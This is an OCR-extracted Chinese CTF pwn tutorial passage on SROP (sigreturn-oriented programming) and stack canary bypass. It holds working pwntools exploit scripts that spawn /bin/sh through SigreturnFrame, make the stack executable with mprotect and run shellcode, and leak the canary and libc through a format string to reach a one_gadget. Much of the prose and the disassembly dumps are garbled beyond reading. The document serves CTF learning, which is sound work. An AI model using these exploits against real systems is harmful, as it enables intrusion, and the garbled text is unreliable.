5 Hex Viev-1 oe x|
FA7E 09 @0 99 09 6D 00 0O 0O

DB 89 AE 16 59 55 00 00 ............YU.. ~ |
OHE BR F0D 93 B2 FD 7F 00 Q0 OR @O0 00 00 0D 00 DO Q0 1
W9E F9 @9 AE 16 59 55 00 @0 A8 FO 93 B2 FD TF 00 a0
FORE 1C @0 B0 00 00 @O0 A0 Q0 @1 @0 00 @D 00 00 @8 A0

2F 62 69 6E 2F o8 a0 80 B0 00 L iblm’ih

[13] Accepting connection from 192.168.222.1...
ls

sh: ©: can't access tty; job control turned off
# 1000levels VMwareTools-10.2.0-7259539.tar.gz
160levels exp.py

linux_serverx64 vdso

ubuntu.17.04.amd64.tar wvmware-tools-distrib
EE511641_LTE’JvdsoE’JiﬂtJtBL*JHM_L%&LEUTzzb|t BT EENRA, BRLTREE—SMEN. 8

2, 2N THvdsoFEBRBHNFTTHHMBRL T . FHM, 320 THIASLRIEH(L5EE XK, EEATLUE
PRI o MO "/NJCTF 2017-233/23387 K88 -

@ .text 5659A4D0 5659A6F2
[ [stack] FFCB0000 FFCA1000
@ [vdso! F7FA3000 F7FA5000
x-‘.gi Joudla 20040/ V0 200407 1V
B .text 56646400 56646672
(%] [stack] FFA41000 FFA62000
F7F37000 F7F39000

566194D0 566196F2

FFA46000 FFA67000

F7FCF000 F7FD1000

RS SR 25 5D S B £ s M S5 B T .
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Linux pwn Al 3iE(8)—SROP

f§%: Tangerine@SAINTSEC

| 0x00 SROPEAIFRSRE

SROPR—NTF2014FE W & RAEELINS0kaland 2014 EMXEREH—FEH AR, HERZIZEN XN
N T REENE T freebuf ERYIX A SCE ' http://www. freebuf. com/articles/network/87447. html ',
EWXBENEM, EHRROPIAR, HLEZamdé4 EHIROP, FEEF K KEH gadgets AT B FERIFEITHE,
HITHE®RAE, MREEEENcadgets B EHITEMETIRAAELE . X—iTFEAIE TROPIARMFER. ™
SROPFI AR AUE K K &l b T ROPBIH AR -

IFUNSCE iR, SROP(Sigreturn Oriented Programming) 3 ARFIF T EUnixZRGF RIS ignal HLHI, Z0E

User Process N joas
.
EEY i

'S‘ignal Hand Ié{

Kernel Level ©) @ Q@ '@ Time

User Level

ucontext save ucontext restore

ERARRE, THARKE. TFLinuxskit

1. H—PHRE#ELEsignal B, THINEAZE

2. PEREHEEN LT HRIMKREEZNMEZTESUD) BIR P LE, RAEHErt_sigreturnithit
Et%, BkEIAFAZEHITSignal Handler, BNiARrt_sigreturn

3. rt_sigreturniifT5E, BKEINZE

4. AZRREQHRENHIELTX, THNKZLHARHE

BENRE, XTEREFEEAER

1. rt_sigreturnfEAPEER, MIHREERK L, #ITEHE

2. ETXHRTFERL, tort_sigreturnftiffik, BMZIRE L TR

FHitt, FHIEEAUBEHEXRLERF LT, AEBCHAre_sigreturn, BUEHEE1. 2. kB, FHATIFE
T3, ALRZBENIEN ETXREZIR Fi#iEF, BRERBNATUEERESFENE, —XE
N MBI HIB RS ERE, ripfEREEE. XER ETXHIFRZASigreturn Frame, XEHEIFELLH
TSigreturn FrameBY%544,

LR, FAITEMSROPHIRTERT L E 1 Fpwntool sBISi greturnFrameRRIRAE A IX NSROPHR, 403X /2 SCALER
7~

http://docs. pwntools. com/en/stable/rop/srop. html

BEMAIFRNSEGNESRNE. FETEMNR, pwntoolsFHSigreturnFrame PHRNEEESrt_
sigreturnfithit, FHATRFEZMHRMITri_sigreturnfIFHMEILINZESigreturnFramehiT. FEUtFATTLIE
dsyscal 136 HMArt_sigreturnM ALHFEEI X MAARITESI. thId, RIFBEMIFRDEM, H
T2 REEHI386 (32 %) F1i386 on amd6d (6AfLRLLRMI2I N BIEF ) HmHER, X
MERNEEERREEGFRARE




QEM|E i STRETISETER

defaults = {
"i386" : {"cs": Bx73, "ss": Bx7b},
"i386_on_amd64™: {"cs": @x23, "ss": @x2b},

ERLLE B W AHERE .

XTFFJEEE’\JK;%;EIR, HSignalFrameBiZ & A
context. arch = ‘i386’

SROPFrame = SigreturnFrame (kernel = ‘i386’ )

X Famd64 EBITHIS2IER KL, HSignalFramefigE R
context. arch="i386’
SROPFrame = SigreturnFrame (kernel = ‘amdé4’ )

| 0x01 SROPZfI1

E—FHEHAN I Freebuf ILEHEFIME T SROPHIRIBHITN R, HNB T ERpwntool siF{TSROPHI—LEF
EEW, ETRIBATELEAEMFRES]—TSROPEEL
BEBRI1ITFEIF"/pwnable. kr—unexploitable/unexploitables

0B00A0000 0L PAS LY

:DRDNDOBO0DYBES LY buf = byte ptr -18h

: 00000000004 BOS Wk

BRDDDOBORDYBES LY push rbp

ODOBDODDBBY DOS LS mov rbp, rsp

:DRDDDDRDADY DOS 48 sub rsp, 10h

MULLR G e mov edi, 3 ; seconds
10000000000 D551 mov eax, 0

1 0BROOBRRBLBOSSE call _Sleep

00BBROODBBYBOSSE lea rax, [rbp+buf])
:H0BBDRONEDYBASST mow edx, SOFh : nbytes
:00A0A00ARALAASHN mov rsi, rax + buf
:BR00BOR0BDYBESHT mov edi, @ ; Fd
:0000DODDDDNBOSHC mov eax, 0

ORDOROOORDY DS 71 call _read

1 H0D0DON000L D057 6 leave

HRONBRAORRY A0S 7T retn

:0000R0000BNBRSTT nain endp

;000000000 ONBOS 7 7

MZBTRGIFEE RSk, XAMEFALIRRREREET . &k, gotﬁqﬂiﬁﬁsystem, % Bwrite, puts
Z R R, JRAEME | ibe, {FFIROPgadgettliE A E|syscal . AXNMHEMRLHETE? LR
PR, ROPgadget{\FFE—NEE, TEMEMAsyscal IRAIAK—gadget. .lﬂ:ﬁ'ﬂ]ﬁ'ﬁ%ﬁ’lt%—/\
gadgetﬁ—rlﬁropper[https //github. com/sashs/Ropper], iBidropperf¥$Z& %] T — syscall

: nop; sub rsp,
: nop; nop; sub

ret

syscall
BEREES— o, ?*Zﬂ]ﬂiz_ﬂ* rsi, rdiEEHFHRM{ENadget. XPMERERNE S EEERT
ROPSLHgetshel |, FHATFERreadiZEIHICE 20x50f, MixRH R EEZ16FHEEEBERrip. ATLURLEAY
KERmATFSigreturnFramefJHKE, FRAFATAT LSRR FEFSROP getshel |
ESMAZE, HA1GCHE— Tgetshel | AR, XBHEEFEFIZE I sys_execveifliTexecve ( ‘/bin/
sh’ |, 0, 0)o XNAFRERFNIEINFERFEE—NEERIHRBIL” /bin/sh\x00” . HFsyscal ILfr ERIF
4y Tmov edx, 50FhiX2%354, #{TFesyscal | Z[F2REN\x00
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a7 WY} r s S

.text:00000000004080551 mov eax, 0
text:0000000000L00556 call _Sleep
Ltext:0000000000400558 lea rax, [rbp+buf]
-text:0000000000400558 ;
text:000000000040655F db 8BAh
text:000000000840805608 ; ———— -
.text:0000000000400560 syscall
.text:0000000000400568 ; ———
ftext:0000000000400562 db 5}
text:0000000000400563 db 5}
Ltext:000000000848056 ;
-text:0000000000400564 mov rsi, rax ; buf

T EW R A ERIIES, FRAEAN & ERSROPIHAread. HATEERAEFFEBRNreadiZE” /bin/sh\

x00” .
.text:0000000000400551 mov eax, @
.text:0000000000400556 call _sleep
.text:000000000040055B lea rax, [rbp+buf]
.text:-00000000004AB55F mov edx, SO0Fh
.text:-0000000000400564 mov rsi, rax ; buf
.text:-0000000000400567 mov edi, 0 ; Fd
.text:-000000000040056C mov eax, @
.text:0000000000400571 call _read
.text:0000000000400576 leave

HBTHRNEA B Grsi 5 {ERgadget, HANERBIEILrbpRiERrax, HMIERrsi. FHATEINFF—Trbp
syscal | _addr = 0x400560

set_read_addr = 0x40055b

read_addr = 0x400571

fake_stack_addr = 0x60116c

fake_ebp_addr = 0x60116c

binsh_addr = 0x60115¢

io = remote('172.17.0.3', 10001)

payload = ""

payload += "a'*16 #padding

payload += pb64 (fake stack addr) #@)X |eavel&fiflstack pivot, SE—IX{ErbpZEFg0x60116¢c, rbp+buf
790x60115¢

payload += p64(set read addr) #lea rax, [rbp+buf]; mov edx, 50Fh; mov rsi, rax; mov edi, O;
mov eax, 0; call _read

io. send (pay | oad)

HITRE = Rread2 f5, FALNIR B AIEIE123445 152802 7 E E #i110x60115¢4L, SATMHFcal |l _readfd

Hleave, HWHEIFEE) T0x601174. tBfripX3EIE T retn, FRATRAIHMNK 2388 #e Ak ROPEE T AT LA 42

HITHERME. XEIHATATLURPBIE” /bin/sh\x00” H7E0x60115¢c, REIE E—LIBFFRTE, 7E0x6011743%
rt_sigreturn, [RTEI#&ESigreturnFrame, FLFEASROPT . {E RO EFK TR Bsyscall, BEAIEE rax=0xfM
miEAArt_sigreturnlig?

A& read VIR EME R E A THIEENAY L, T i386/amdb4RY IR EM{E—AR IR TFEfEeax/raxH . Ftk, FAl
A LASe XA A readiZBUSNFRF, AREITEIretnATiAAsyscal | . Eltt#iEpay loadfl T~

frameExecve = SigreturnFrame () #1% ESROP Frame
frameExecve. rax = constants. SYS_execve

frameExecve. rdi = binsh_addr

frameExecve. rsi = 0

frameExecve. rdx = 0

frameExecve. rip syscal | _addr
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payload = ""
payload += "/bin/sh\x00" #\bin\sh, 7E0x60115¢c
payload += 'a'*8 #padding

payload += pé4 (fake_stack_addr+0x10) #TEOx60116c, leaveifZ Z farspigmEitab+8, +0x18Z f53&[H)
syscal | BRfEA% ik

payload += p64 (read_addr) #7EO0x601174, rsi, rdi, rdxAZ5, @MHread, A THEAset
raxiiN15 N FHiR Erax = 15

payload += p64 (fake ebp_addr) #call read F—{TRleave, rspEX#EHE, fake stack_
addr+0x10+8, E[l0x60117c+8, BEFIRE T — AL Mt

payload += p64(syscall_addr) #7E0x60117c+8, EN0x601184, iHMsyscall. E—#Hcall
readiZBY T 151N FfF, Fillrax=0xf, XA syscal 4§ &fili%& sys sigreturn, fill% SROP

payload += str (frameExecve) #SigreturnFrame

B IR0x601174-0x60115¢=0x18, “/bin/sh\x00” HIESNFFF, BRpaddingZlAE’ a’ *0x10M
2 a 8 XREAEXNITreadiE 2 EHE] leaveisd, FILXBEK EHMrbpEEHOITE.
; Fd

-text:0000000000400567 mov edi, @

-text:0ONARARARALRNSEC mow eax, @

i7] -text:ODOBAARADDLDOST1 call _read
[

-Lext:0000000BRBLOOSTT retn

-text:0000000008400577 main endp

-text:0000000000400577

-text:ONDRRARRBBLONSTT

.text:0000RBRRRBLD0STE align 20h

-Cext:00000R0RRBLO0S8A

-text:0000000000H0O580 SUBRODUTTIHE
-text:0000000000400580

-text:0000000000L00580

-text:ONNRRARARBLONSER ; void _libc_csu_init{wvoid)
-text:0000000000400580 public _ libc_csu_init
LLext:000D0AROBBLBOSEA _ 1ibc_csu_init proc near ; DATA XREF: _start+16To
-text:0000000000400580

-text:000000000084500588 var 38= quord ptr -38h
-text:0000000008500580 var_?8= quord ptr -28h
Ltext:ONRRRAARARLDNSER var _20- quword ptr -20h
-Lext:000000DRDBLDOSBA var_18= quword ptr -18Bh
-Lext:0000000B00BLOOS80 var_10= gword ptr -18h

3] Hex View-1 0 & x |[G]Stack view

OREEEE0ABLARS36 Fh BB 5D BF 48 OE 6@ @0 FF E@ 5D C3 90 90 55 48 t.].H. ...]...UH P TR OOEAAA08886 01160  unexploitable : 86611460

" B9 ES 48 B3 EC 10 BF 83 00 00 00 BE 00 00 @0 00 . .H............. ARGE11EE  AAAOROOA0NLARS6HD mainei1C

GRS

(UL " E8 FS FE FF FF 48 8D 45 FO BA OF 05 00 00 48 89 BOGI1EE  DRBBAOOOD0NDDADE
OB BA0HYE " 06 BF O 0@ A0 00 B8 @@ OO 00 00 E8 BA FE FF FF ARGE1194  AOOADORDOODRDDAD
0000000080 E C3 70 90 98 90 908 98 90 90 48 89 &C 24 DB A4C BBGE119C GOOBEOAOOODODODD
OBRRBAROBNBOSEA B9 64 24 EG 48 8D 2D 93 08 20 8@ 4C 8D 25 BC 88 .d$.H.-.. ..L.%.. BB6811Aa% GOOBEOOOOO0OODED
BEOEE000 6, " 20 00 AC 89 6C 24 EB 4C 89 74 24 FO 4C 89 7C 24 ..L.15.L.t$.L.|% BE6811AC  AOOOOOO0OO0RODAD
DORBOA0O0NE

" FB 48 89 S5C 24 DO 48 B3 EC 38 4C 29 ES &1 B9 FD  .H.AS-H..BL).A.. AR6011ES  ARRRRODDDONAARAE

ANOONOARRKARCDS kO 00 €4 W0 P4 EN M9 WO 00 BT 0 90 CF € EE KO 1 W "

B = RreaddfHE (B—X&NIFTRBPHIFAE X, EZXIE” /bin/sh\x00” FiSigreturnFrameZbss
e ARE =X BREEEM Teall _readiXfTiES, rsi, rdi, rdx#AE, FrLUEMMAREE
HeBEEiEpay load B FFIHEHISNERF. ATEHLLE” /bin/sh\x00” #ekiE, F{1EXiM ApayloadHIET151
FF, MHEHTRK.

io.send (' /bin/sh\x00' + ('a')*7) #HEEV SN EFFE|0x60115¢, BRIZF A readiR B1{E AiEEAIF
THAFE R Erax=0xf, FEFRE[E/bin/sh\x00FFF B L EKT

XAHEINR Epwntool s+IDAEIR, retnz GG S HE|syscal |, HATE— X syscal | BfraxZ0xf, BiE—XF8
e K MRAXFNE th F F25 AV EER AL T SigreturnFrame PFIZAYE. XFLESROPEIERKINT - LERTEIEF9
A LUERio. interactive ) Frshel | T,
>>> io.send('/bin/sh\x00' + ('a')*7) #FEE 157 F T 3 ox60115¢c, B 2 7l A rea
={E /bin/sh\x00EZHFT R L ENT

>>> jo.interactive()

ONABADE  AOOGGHARANNNN0N

[*] Switching to interactive mode
1s
core flag.txt funsignals 1libc.so0.6 1linux serverx64 smallest unexploitable

0x02 SROPfHI2

E—ThA1F S T A ASROPTER —R I . X —T A VIFIEID 55— FUEEREISROPHIT, Filid
B ETREE. BABTFBEIF/360ichungiu 2017-smal lest/smal lest. XEIRERDMIEE FRIEF



QEMIE

FLEAL . RO o

Ltext:0R00R0RDOROL0R0BE SUBROUTIMNE
-text:0000000000500080
LLext:onoenonnensno0ee
Ltext:000000000400080 public start
LLexr:0e0noenoeoseeeBe start proc near
" .text:0000B000DONBBOB0 xor rax, rax
7 .text:OPDBOOROBOLBOOBI mov edx, 400h
7 Ltext:0000000000400008 mov rsi, rsp
Y Ltext:B0000000004000BR mov rdi, rax
Y .text:00000000004000BE syscall
Y Ltext:00000000004000C0 retn
LLext:on0enoo0e0saeece start endp
Stext:00000000005000C0
LLext:00000000004000C0 _text ends
-text:00000000004000C0

XAMEFEEIREAT LLASROPHL fTexecve ( ‘/bin/sh\x00” , 0, 0) (FEAIEE(ERNZLSD)

—Ti@idmprotect & A ETUE f+she | | codei#{Tgetshel |,
B, B3 IEAshel IcodeF Hi—Fittit. BT XNMFEFEBBSSE

[&5] choose segment to jump

| EFREHISET VER

, [BRXREMFR

Name Start

smallest 0000000000400000
text 00000000004000B0

smallest 00000000004000C1

[stack] 00007FFD0O1ASAQ00

[vvar] 00007FFDO1B2B000

[#] [vdso] 00007FFDO1B2E000

Line 2 of 6

HATREEIE

WTDERUE S, TsiH ORI A, & SHIER rotn/R iR

End

00000000004000B0
00000000004000C1

0000000000401000
00007FFDO1AABOOO
00007FFDO1B2E0OO
00007FFDO1B30000

FSRAmprotect BN —R A EAFANEREEZE AR L. BI—M75RFBLZEEMASROP,

LA

Cancel | Search |

HEEEE Sshel lcodefE#%

L. IMBER(VHERIU . AT Asys_readiZBUNFETKE, &Erax=1, AREIHAsys write

MEKIE. IEFIREbUTAIIES Emov rsp,
syscall_addr = 0x4000be

start_addr = 0x4000b0
set_rsi_rdi_addr = 0x4000b8
shellcode = asm(shellcraft. amdé4. | inux. sh())

io = remote ('172.17.0.3", 10001)

payload = ""

payload += pé4(start_addr)

W sys write

payload += pé4(set rsi_rdi_addr)
sys_ write(1, rsp, size)

payload += pé4(start_addr)

io. send (pay | oad)

sleep (3)

io. send (payload[8:8+1])
stack_addr = u64(io. recv() [8:16]) + 0x100
log. info('stack addr = %#x' %(stack_addr))

#A M 5 B B0 478 eh il B A Stk

rsi, FTIABEIRREZIXITIES ERAT LU rspithlt

#iRE B star t EFHIT—iEsys_read, FIMIREIEEErax = 1,
#mov rsi, rsp; mov rdi, rax; syscall; retn, HATHEHHSTHIT

A2 FiREBstart, $ITT—HRME

#F|Fsys_readi B —NFFF, & Erax = 1




@ﬁmmu%

d += |:|b4{ t1rt =mr]rl B E 3 s t1l’t§ HMiT— ys_read, AIAEEHR Era 1, WA sys write
p; retn, LEETHE S F 5T write(1, rsp, size)
aﬁ‘?’*itﬂ’tﬂ‘_’f_ i = 8 t, MITF—S|fE

#F| A sys readif M —F&F , @Hrax = 1
) + ox180  #M\iE §E &Y WIS P Bh AN HR 0b Ak
ack addr))

/ﬁs&H:'.’f&ﬂﬂijtzl‘?tﬂ]&'tTuﬁt“ﬂ’j&%ﬂﬁiﬂiﬁgHj?EH‘J’f%iiﬁthﬁtTa 2 o o 11140 3 | o O S
BE T MEREE 2 startl, FEIbEETRIEFMIZHEHNIT— R read. FAl1FI X X read{d FISROPHIT
sys_read, 7EIEEUIE T RpayloadHI[ERTSERHENHE

frame_read = SigreturnFrame () #1% & readASROPIR
frame_read. rax = constants. SYS _read
frame_read. rdi = 0

frame_read. rsi stack_addr

frame_read. rdx = 0x300

frame_read. rsp = stack_addr #iX N stack_addrititit FRIA S Estartithit, SROPHITTERE
retPtiEE | start

frame _read.rip = syscall_addr

payload = ""

payload += p64(start_addr) #R[E Blstart EFTHIT—iBsys_read, FIFIREEIZErax =
Oxf, 8Hsys sigreturn

payload += p64(syscall_addr) #ret®lsyscall, T~3ESROPMH, fifi%& SROP

payload += str (frame_ read)
io. send (pay | oad)

sleep (3)

io. send (payload[8:8+15]) #F|FHsys_readiZEl—1NFERF, ®Erax = 0xf, FEAEIL
pay | oad A= # 1EEX

sleep (3)

HFsyscal IIITT—&35S Rretn, BiUBEAIEIRE rspFfi1iLSROPHITsys_readSEm/a iR [El 2 start,
R {EFISROPH{Tsys_mprotect, f&Eshel |codePi#EHI#% T AIRWX

frame_mprotect = SigreturnFrame () #1% BEmprotectHYSROPHG, Fmprotect &A% TE FIRWX
frame_mprotect. rax = constants. SYS _mprotect

frame_mprotect. rdi = stack_addr & OxFFFFFFFFFFFFFO00

frame_mprotect. rsi = 0x1000

frame_mprotect. rdx = constants. PROT_READ | constants. PROT_WRITE | constants. PROT_EXEC
frame_mprotect. rsp = stack_addr

frame_mprotect. rip = syscall_addr

payload = ""

payload += p64(start_addr)
payload += p64(syscall addr)
payload += str (frame mprotect)

io. send (payload)

sleep (3)

io. send (payload[8:8+15])

sleep (3)

HRiR[EE|start, {#FIROPHEBEEE R shel coderfELhE, [ElATH§i Ashel lcode

payload = ""

payload += p64 (stack_addr+0x10) #ret®lstack_addr+0x10, Ellshellcodeff7EiiE

payload += asm(shel lcraft. amd64. | inux. sh())



QEM|E i STNRTISETEA

io. send (pay | oad)
sleep(3)
io. interactive ()

M SRR =t HEE B R T3



https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=44068&ctid=157

OB

Linux pwn A J¥E(9)—stack canaryS293 921K

f£%: Tangerine@SAINTSEC

IOxOO canaryiait

HMmiE, BEREHMARASRARBTREEETER LNENRTE, NMikZHROHIEBSebp. eip
Z, NmABEFEFRNER. AMstack canaryX—HARBIR A FE5X #F) A FELTSHELISE

WMo canaryIEBR L4 %, RETEETVHIANARFREATSHREEEENELEET. TANEXRT
#% "rfa’J:— IS EMRHATHERAES, S4ERTHESHEEMSFELEBHERET, AMFELIAN
BRWME., XIMEAN FH5{':E$§1%¢FJ:)“|Jzs?’f%]]iléu‘ﬂﬁ—/l\*i%flly‘iEﬂ?f*i%fﬁ'éiﬁﬁ—’l\ﬁﬁffﬂﬂ’lcanary1E ek
5%U}31’§i§1§%€‘ “%?ﬁ” IR EWNE, BHENTNREKEELE, BFES—MRIESER, URREF
AT

H—NEF ﬁF'Tcanaryﬁ#FﬂT ﬁﬁﬁchecksec}iiﬂzli*\&ﬁf—\ﬂﬂ)blol"l'i*%

FORTIFY:
A[LAEF|Stack—{T R /RCanary found. ItHh, FERBIEMFIAUEHESTERK EM B canaryEH B IR AT
¥E
int64 sub_1000()
{
__1intés v1; /7 [sp+Oh] [bp-M1Bh]E1
__intés v2; 7/ [sp+u08h] [bp-10h]@1

(v2 = =MK_FP(_FS__, #0LL); |
__printF_chk{1LL, ™ » ")
FFlush(OLL);

read(®, &ui, Bx800uLL);

uts{"\n Done.");
rhturn *MK_FP(__FS__, #0LL) " v2; |

} |

LLEXL: pOBW

te: proc near ; CODE XREF: main+1F9Tp
text

text = quord ptr -10h

text

text sub rsp, W18h

text lea rsi, asc_2aDB : "\n L+
text noy edi, 1

text nov rax, fs:28h

text nov [rsp+hi8h+var_10], rax

text xor eax, eax

text call ___printf_chk

text xor edi, edi ; stream

text call _FFlush

text xor edi, edi ; Fd

text moy rsi, rsp ; buf

text nov edx, S00h ; nbytes

text xor eax, eax

text call _read

text lea rdi, abone_ ; "\n Done."
text call puts

text nov rax, [rsp+¥18hsvar_10] I
text xor rax, fs:28h

text jnz short loc_106A

LLe add rsp, N18h

text retn

text

text

text ; CODE XREF: sub_1000+607j
text call ___stack_chk_fail

text enap

-text: 0800RBA0BRORT06R




QEM|E i BTARTIETER

RER, —BRMNMEAHEL TR, BRIEREEScanaryBEE M4, BNEBIRHHEAASIET FEIRE
M canar yIFIE BT I Tstack_chk_fai lR#. FHitk, HNELEIEFKE Blcanaryf{E, E2MER
1Efi % stack_chk_fail, & FIHIXAEKE.

I OxO1ittZEcanary

HARNENBN G ER M Ecanary, RER, XNAEREFNRRERMELcanaryiE, MMAERKEL
RtfEpay load B i N canary LB E . EAFNKRE-—TEARKNUFFRMEcanaryBIIFR .

¥ TFAIF"/insomnihack CTF 2016-microwave/microwave. X MEFHIRIEERRKESES, MAXSEHFL
HchecksecfEREREF T — KR . BREFHEEERNER, N52INEIPH—MERULFRFS
5@3@3’:111}]&52433@—/]\*%;‘3&55%5@0

[ ifF ( vb == *9" )

7 {

8 Furite{"\n Log in on Twitter:\n", 1ull, @x1FuLL, stdout);
9 furite(" username: *, 1ull, @x15ull, stdout);
[] FFflush(OLL);

1 fgets((char =)us, M0, stdin);

2 Furite(” password: ", 1ull, ®x15ull, stdout);
3 fFlush(OLL);

N vd = 200LL;

5 fogets({{char =)uk + W8, 20, stdin);

[ w5 = (char =)ul;

7 sub_FOR(( intdu)ul);

8 ¥

1| _intés _ Fastcall sub_F@@(__intés a1)

2y

3| size_t vi; /7 rbx@n

| char =v2; // rbx@s

5| size t v3; /7 rax@h

6 __dintés i; 7/ rdx@n

7| __intés vé; 7/ [sp+Bh] [bp-28h]@1

8

9 vl = 1LL;

ub = wMK_FP(__FS__, BOLL);

__printf_chk{1LL, "“\nChecking ");

2/ _printf_chk(1LL, al);]

3 puts(“Twitter account");

& FFlush(OLL);

5 while ( v1 < strlen((const char =)(al « &48)) )

i B ot ELAGIM A AR S B sub_FOO, ARIRIE_printf ok ELSEI:, 7S7EMistIL
L P e

1| _intés sub_1000()

24

3| __intés wi; // [sp+Oh] [bp-%18h]E
& _ intés w2; // [sp+408h] [bp-10h]E1
5

6 u2 = «MK_FP({__FS__, hOLL);

7. __printf_chk(1LL, "\n » ");
8  FFlusn(oOLL);

9 read(e, &1, Ox800uLL);

|8 puts{“\n Done.");

11 return =MK_FP(__FS__, s0LL) * v2;

1213

INRE21H A sub_1000, HrhreadiEBl TiX S FFF, ALUERKE S

EZ A EFHANUREZFORTIFY FHER U EZF RRANZME, R RIRXMEFRNTEERNEXK
HAE, FRERNERARSFEFIITRAENRIEARAREKEH . XMHERINREZREERUCER
BRIt Ecanary T o

BHEBITER—TXMNMEFE, HEFHITScal | _ printf chk—{THEESERMENIER, B—THN
AT LA 55 R L 22 7




QEME

Log in on Twitter

name: %p.%p.%p.%p.
password: ne7 7h3 fl46

king 8x7T9a4da3c760.0xa.0x779a4dc59700.0xa. (nil).0x5711c7b966d5ddee.ox7f9a4da3b6es. 0x7T9a4da3b6fe
2410F18 )

lea ri2, [rbp+28h] ~ ||RAx poopapaoDaDEREED
g:::i:: 3: ::; “m REX 000D0000DAO000RT «
: T -
:211AF20 nov rax, £s:28h RCX 000000000000000A «
‘211AF29 Rou [Fsps2Bnsvar 298], rax RDX B00B7FPALDAICTED & debugBid: 0BBOZFOANDAICT 60
“211RF2E xor eax, eax RS1 DOODS60UF269F 810 & [heap]: 000056 BNFZO9F 810
“211AF30 call printf_chk RDI B00PADAODADOARET
‘2T1AFB5 mov rsi, rbp | REP BOOS60UF269F 610 & [heap]: PBOASEOLF269FA10
e RSP 00BO7FFE9A6O3888 & [stack]:B0007FFEOAE03080
211AFSF call printF chk RIP 00005604F211AF3F v sub_S604F211AF 00+3F
“211AF 44 lea rdi, aTwitterfAccount ; "Twitter account™ RE DO0O7FYARDCSITON & 0eDUQHDZ:BUDBFFIA4DESYT 00
‘211AF4B call  _puts RO 000DODODDODOAREA .
“211AF50 xor edi, edi i stream R10 BOBBS5BUFZ11CACE & _rodata:aChecking
211AF52 call Fflush
| 3 = R11 606000O0O00O024E
g:::g; _!rnp SO e R R12 00OAS604F269F B3B8 & [heap]: 000056 04F 269F A38
211AF50 align 20h R13 0OOB7FFEAGA3BBO & [Stack]:0B007FFEPAG N3 0E0
2110F 60 R14 BO0BS60UF269F B38 & [heap]: 080056 B4F269F 038
“2114F60 loc_S604F211AF60: : CODE XREF: sub_5604F211AF88+8C]] R15 B06DODAOBADAORED
“211AF60 nou edi, 2Eh H EFL 00000246
“211AF65 add rbx, 1
‘211AF69 call  _putchar
5604F211AF35: sub_S5604F211AF00+35 (Synchronized with RIP) v
O & x | [B] Stack view

1 48 BB B4 25 28 00 00 00 48 B9 44 24 68 31 CO dH..%(...H.D§.1. ~ |[@BEB7FFE9AGD3080
3 4B FB FF FF 48 89 EE BF @1 00 00 80 31 CO E8 .K...H.. oo BOOB7FFEYNGO3088 S711CTE96605DD00
: FB FF FF 48 8D 3D 80 1B 00 00 E8 90 FA FF FF <. BODBTFFEYAGOIN00  DOOD7FYALDAIBGEE libc_2.2h.so:stdout
| FF E® 19 FB FF FF EB 28 @F 1F 80 @0 00 a0 a8 1 BOORTFFESAGAIAE  DOROTFIALDASBSFA libc 2?.24_so:stdin
48 83 C3 @1 E8 62 FA FF FF 31 FF BOOBTFFEYAGE30A0  BOOOS6OMF269FO1@  [heap]: BBOOS6OMF269F 610
3 FB FA FF FF BF A0 86 081 08 31 CB E8 4F FB FF BPOETFFEYAGDI0AE  BOBBSHBUF211ACS main+1A0
T MG B9 E7 E8 67 FA FF FF 48 39 C3 72 D2 BF fA BOO7FFEINGE 0000000000000A31
3 00 B0 EB 38 FA FF FF 48 8B 1D 71 30 20 00 48 BORBTFFE9AG ] ST11CTB266D5DD 00
} DE E8 49 FA FF FF 31 D2 EB 13 OF 1F_44 90 08 - oo __|BROO7FFE9AGAIACE  OORBNOARDOOONADD

@ libc_2.24.50 00007F9A4D679000 00007F9A4DB37000

% libc 2.24.50 00007F9A4DB37000 00007F9A4DA36000

ﬂ‘ﬁbc_2?450 00007F9A4DA36000 00007F9A4DA3A000

% libc_2.24.50 00007F9A4DA3A000 00007F9A4DA3C000

& debug001 00007F9A4DA3C000 00007F9A4DA40000

& Id 2.24.50 00007F9A4DA40000 00007F9A4DAG6000

FEEIRRAFNTAFN S, RNAELIME L ROE—NBEERT U EZEARITE | ibcEENEH A (2
R AT UL A TERstdoutFistdin) , MEONEIBH Rcanary, F IR {150 AT LA E B AN i 55 ik 3
FIFAH I+ Eone gadget RCERYHhIE

io.sendline("1") #EAhEE1 L RN U ERF B IRE

io. recv ('username: ')

io. sendl ine (' %p. '*8) #FR NI ZFEMEE | ibcH YLt Flcanary

io. recvuntil ('password: ')

io. sendline ('n07_7h3_f146") #EEERBERERD, AUEEEE

leak_data = io. recvuntil (' [MicroWavel: ").split() [1].split(".")

leak_libc = int(leak_data[0], 16)

one_gadget_addr = leak_libc — 0x3c3760 + 0x45526 #itEone gadget RCEfhilk

canary = int(leak _data[5], 16)

log. info('Leak canary = %#x, one gadget RCE address = %#x' %(canary, one_gadget addr))
REFRNTHENDIRE2f A R TR, AL Plcanaryfr ipH[EEFRES N FT5
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T Lbext:0000S60LF211BRB3IE call _r;)ﬂ R10 00005608F211CADE w .rodatacasc_S608F211CA

© Ltext:000@S6OMFZ11B0A3 lea rdi, abDone_ HE U Done R11 0000000000002 06

© Ltext:OR00S6OAF211B0MA call ts 5

. R12 DOROSOONF 269F 010 & [heap ] - DROIS 6 BN 269F 11

~.text mw!‘“ls? “I‘ R13 DOBOTFFEVAGBINBO & [<tack]:BBDBTFFEDAGB3L
@ £ 0 jnz 54 [rgpo““.u.r 10]=[[stack]: 08007FFEPAGO3 @98 ) 14 DDROS60AF269F I8 & [heap ] 000056 0LF 2695 0]

Ltext m"!“lﬁ?“i 5 eReaDeRdRBRRORRD

U .text:0000S600F 2118069 retn wnn . L 00RO0ZNG

III
Ltext: 00005600 Z11806A db BO5h ;
Stext : 000056 08F 2118 06A db  66h ; F
| -text:0000S60L Z11BB6A loc SE6OMFZ11D86A: db DE%h
*° L text:0ROOSOBMFZ11B06A call __stack_chkgn ecrn ;
.text :00DESOB4FZ11B06A Sub_S6ONFZ11B000 endan 11n
LLext i DR0NSABLF211ED6A db S7Th ; W
Lext 000056 0MFZ11ED6A db 10n
db OFOh ;
0000106A 00005604F211B06A: sub_ S604F2151 — ¥ ey
£ >
| Hex Viev-1 0 & x [ Stack viev

IDESGONFZ11AFZ0 64 48 8D O 25 28 00 00 00 OB B9 AN 24 08 31 CO @OW..%(...H.D! A 000O7FFEOAGBINED  000D0RODR0000000

IDESGONF211AF30 EB 4B FB FF FF 48 89 EE BF 01 00 00 00 31 CO E8  .K...H....... 000O7FFEPAGOIOHE  DO0DOZFPANDOE7DEB 1ibc 2.2h.s0:_10,
